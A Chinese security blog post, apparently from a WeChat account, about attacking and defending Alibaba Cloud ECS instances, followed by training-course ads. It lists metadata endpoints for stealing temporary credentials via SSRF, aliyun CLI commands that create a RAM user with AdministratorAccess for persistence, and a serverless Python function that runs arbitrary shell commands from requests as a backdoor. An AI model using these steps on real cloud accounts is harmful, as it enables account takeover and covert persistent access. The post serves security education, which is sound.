作者:yueji0j1anke
首发于公号:剑客古月的安全屋
字数:1757
阅读时间: 15min
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外
目录
-
前言
-
前置技术
-
ECS攻防
-
总结
0x01 前言
平时拿到ak、sk后只知道云服务器接管截图一交就完事儿。但是目标资产若是在服务器上会带来除此之外的其他风险,此篇便为这些风险做个总结
0x02 前置技术
1.VPC
全称 Virtual Private Cloud,可以理解为在云上的局域网,在本地有路由、子网、交换机、NAT技术,同样,在VPC中一样有这些。
2.元数据
云数据指的是存储、管理在云计算环境中的数据,包括信息、图片、数据库内容、用户凭据、配置等。
元数据服务是提供查询运行中的实例内元数据的服务。
在元数据攻防中,只要能够获取ECS权限或者ECS存在ssrf漏洞,就可能获得实例的元数据
各厂商元数据获取地址
阿里云元数据地址:http://100.100.100.200/latest/meta-data/
腾讯云元数据地址:http://metadata.tencentyun.com/latest/meta-data/
华为云元数据地址:http://169.254.169.254/openstack/latest/meta_data.json
亚马逊云元数据地址:http://169.254.169.254/latest/meta-data/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
http://100.100.100.200/latest/meta-data/ram/security-credentials/suxinzhai
下面展示阿里云和腾讯云的demo
腾讯云
阿里云
3.Serverless
从Laas(提供云端ECS) 到Paas(提供完整的开发平台) 再到 CaaS (提供容器管理平台),云原生经历了诸多变迁,最终提出了ServerLess这个概念,分为了两种实现方式 => Baas(后端即服务) 与 FaaS(函数即服务), 前者面向开发人员,开发者只需专注前端开发,后端基础设置都帮你搭建好了,后端则面向最终用户,提供快速获取业务解决方案的场合
我们来实现一个最简单的阿里云FaaS处理函数,去响应http请求
0x03 ECS攻防
1.元数据泄露
首先讲讲元数据泄露存在的隐患->一旦目标ECS中的web服务存在SSRF漏洞,即有可能导致攻击者通过curl元数据获取临时凭证,进而完成控制台接管
(此处需要创建高权限ram用户并授权给ECS实例)
此时我们将临时凭证配置到云服务器连接工具上
aliyun configure --mode StsToken
输入ak、sk、和securitytoken之后,即可完成身份认证(完成身份认证后即可进行下一步,权限维持掌管控制台)
2.权限维持
一般拿到身份认证之后,即点到为止结束了。在攻防演练中,一般还需做权限维持
这里推荐最简单的方法,创建用户
aliyun ram CreateUser --UserName suxinzhai
aliyun ram CreateLoginProfile --UserName suxinzhai --Password 123456@
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName suxinzhai
访问https://signin.aliyun.com/login.htm#/main即可通过ram用户进行登录,当然用户名需要@h后面的alias,不同实例不同alias,亦可通过命令行获得
aliyun ram GetAccountAlias
3.云函数
前面我们讲到的SaaS也会存在漏洞风险,无论是通过搭建的云函数直接攻击还是账号接管后部署后门进行权限维持,都有一定的研究价值,因此单列出来做一个攻击手段的总结。
通过函数完成代码执行,下列是个简单的testdemo
# -*- coding: utf-8 -*-
import logging
import json
import base64
import subprocess
def handler(event, context):
logger = logging.getLogger()
logger.info("Received event: %s", event)
# 尝试解析输入事件为 JSON
try:
event_json = json.loads(event)
except json.JSONDecodeError:
return {
'statusCode': 400,
'headers': {'Content-Type': 'text/plain'},
'body': "Invalid JSON format"
}
# 确保事件包含 "body" 字段
if "body" not in event_json:
return {
'statusCode': 400,
'headers': {'Content-Type': 'text/plain'},
'body': "Missing 'body' field in event"
}
# 获取请求体并解码
req_body = event_json['body']
if event_json.get('isBase64Encoded', False):
req_body = base64.b64decode(req_body).decode("utf-8")
# 解析请求体以获取命令
command = event_json['command']
try:
command = event_json['command']
if not command:
return {
'statusCode': 400,
'headers': {'Content-Type': 'text/plain'},
'body': "Missing 'command' in request body"
}
except Exception as e:
print(e)
return {
'statusCode': 500,
'headers': {'Content-Type': 'text/plain'},
'body': "Invalid JSON in request body",
'command': str(command)
}
# 执行系统命令
try:
# 使用 subprocess 执行命令并获取输出
result = subprocess.run(command, shell=True, check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout
except subprocess.CalledProcessError as e:
# 如果命令执行失败,返回错误输出
output = f"Command failed with error: {e.stderr}"
# 返回执行结果
return {
'statusCode': 200,
'headers': {'Content-Type': 'text/plain'},
'isBase64Encoded': False,
'body': output
}
这里配置测试参数如下
测试一下函数
通过此处发送公网请求即可完成远程命令执行调用
0x04 总结
ECS 攻防还有很多种玩法,这里只是列举了平时最常使用到的攻击手段,后续将带来更多云服务和云原生安全内容。
🔥🔥🔥 《一个月🔥只需一个月🔥快速入门逆向》🔥🔥🔥
2024年11月18号-12月14号 拓展提升班,开课啦!!!
北京昊网安全线下《尝鲜逆向》,🎈132课时原价12800逆向基础课程,限时降价,现惊爆价,💓只要2000元,💓💓免费试听一周!!!
课程直击底层逆向,涵盖“二进制逆向工程、逆向核心原理、恶意代码分析等”内容,机不可失失不再来!!!
(报名保就业班,此课程免费)
适合人群:
①小白但极度热爱网络安全技术;
②学过网安,想补充短板,提升逆向专业技能的网安人;
③想了解逆向技术方向的非技术人员,如:项目经理、技术总监、售前技术支持等;
④想提升逆向技能的系统工程师、网络工程师、开发工程师;
======================================================
🔥🔥🔥《六个月🔥网络安全大满贯,带你冲年薪🔥20W-40W》🔥🔥🔥
12月17号 北京昊网线下,保就业班,开课啦!!!
前十名报名即赠送💓CISP证书考试名额(应届生送NISP二级)
重保重保重保:“💓保上岗+💓保薪资+💓就业保障协议明确保障内容+💓免费试听两周”
周期:六个月大满贯
第一阶段:云计算、语言开发基础 (php、python、Java)2个月;
第二阶段:渗透全栈 (web安全、内网安全、移动端安全、云安全、数据安全、、代码审计、高级渗透实战)2个月;
第三阶段:逆向工程实战以及恶意代码分析实战,安全项目实战2个月;
时间安排:早九晚八,一周六天,周日教室开放自习。另:吃住自理,住宿约每月800-1200。
🎈小班授课,每班只招20人。
适合人群:(本科起)
①刚刚毕业或者毕业后就业遇到困难的人群;
②非计算机专业,想全方位赋能个人技术能力,从事计算机行业;
③计算机专业,想补足短板,提成专业技能竞争力。
原文始发于微信公众号(剑客古月的安全屋):云安全-ECS服务攻防
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论